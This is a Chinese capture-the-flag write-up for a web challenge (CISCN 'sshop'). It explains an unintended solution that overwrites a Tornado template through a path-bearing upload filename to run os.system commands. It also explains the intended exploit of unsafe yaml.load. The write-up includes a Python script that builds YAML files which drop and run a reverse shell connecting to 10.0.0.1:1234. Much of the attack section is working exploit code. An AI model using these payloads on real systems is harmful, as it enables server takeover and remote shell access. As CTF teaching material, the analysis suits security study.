Web7解题思路
MoR03r解题思路(非预期)
打开网站后,注册一个用户登录,发现“咸鱼”这里有个上传
上传一张图片看看效果,发现会跳转到/user这个页面
比赛时,队友找到了一个非预期,就是上传的文件名可以包含路径,直接覆盖原文件 利用这个非预期上传到/home/ciscn/www/sshop/template/info.html,直接覆盖info.html这个模板,在info.html中加入一句
{% import os %}{{ os.system('ls > /home/ciscn/www/sshop/template/assets/ls.txt') }}
具体代码如下
{% extends "layout.html" %}
{% block body %}
{% import os %}
{{ os.system('ls > /home/ciscn/www/sshop/template/assets/ls.txt') }}
<div class="jumbotron commodity-info">
<h1>{{ commodity.name }}</h1>
<p class="lead" style="word-wrap:break-word">{{ commodity.desc }}</p>
<p>Price: {{ commodity.price }}</p>
<p>Amount: {{ commodity.amount }}</p>
<form action="/pay" method="post">
{% raw xsrf_form_html() %}
<input type="hidden" name="price" value="{{ commodity.price }}">
<input type="hidden" name="id" value="{{ commodity.id }}">
<button class="btn btn-lg btn-success">Buy</button>
</form>
</div>
{% end %}
然后回到主页查看一件商品的详情,访问到/info/页面,让模板中的命令执行,接着直接访问/static/ls.txt就能够得到当前目录下的文件
最后修改模板中的命令即可拿到flag,也可以反弹shell回来拿到flag。
fixit阶段审计代码发现预期解法
在User.py文件中,文件上传Handler,发现如下代码:
class UploadHandler(BaseHandler):
def get(self):
self.render('upload.html',flag="")
def post(self):
file_metas = self.request.files["file"]
if not file_metas:
self.finish()
print(file_metas)
for meta in file_metas:
print meta
file_name = meta['filename']
file_ext = file_name.split('.')[-1]
if file_ext.lower() not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']:
self.render('upload.html', flag="")
print file_name
with open(file_name, 'wb') as up:
up.write(meta['body'])
if (os.path.splitext(file_name)[1][1:] == 'yml'):
f = os.path.abspath(file_name)
flag=yaml.load(file(f, 'r'))
self.render('upload.html', flag=flag)
else:
print self.redirect('/user')
print "OK, file uploaded successfully!"
self.redirect('/user')
很明显是想要上传一个yml文件,其中的yaml.load()函数存在漏洞。
# !/usr/bin/env python
import yaml
import os
payload = yaml.dump(open('/tmp/a.py','w').write('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'))
payload2 = yaml.dump(os.system('python /tmp/a.py'))
fp = open('simple.yml','w')
fp.write(payload)
fp.close()
fp = open('simple2.yml','w')
fp.write(payload2)
fp.close()
然后在本地监听上面payload里的端口,依次上传文件即可(本地复现环境有点问题)。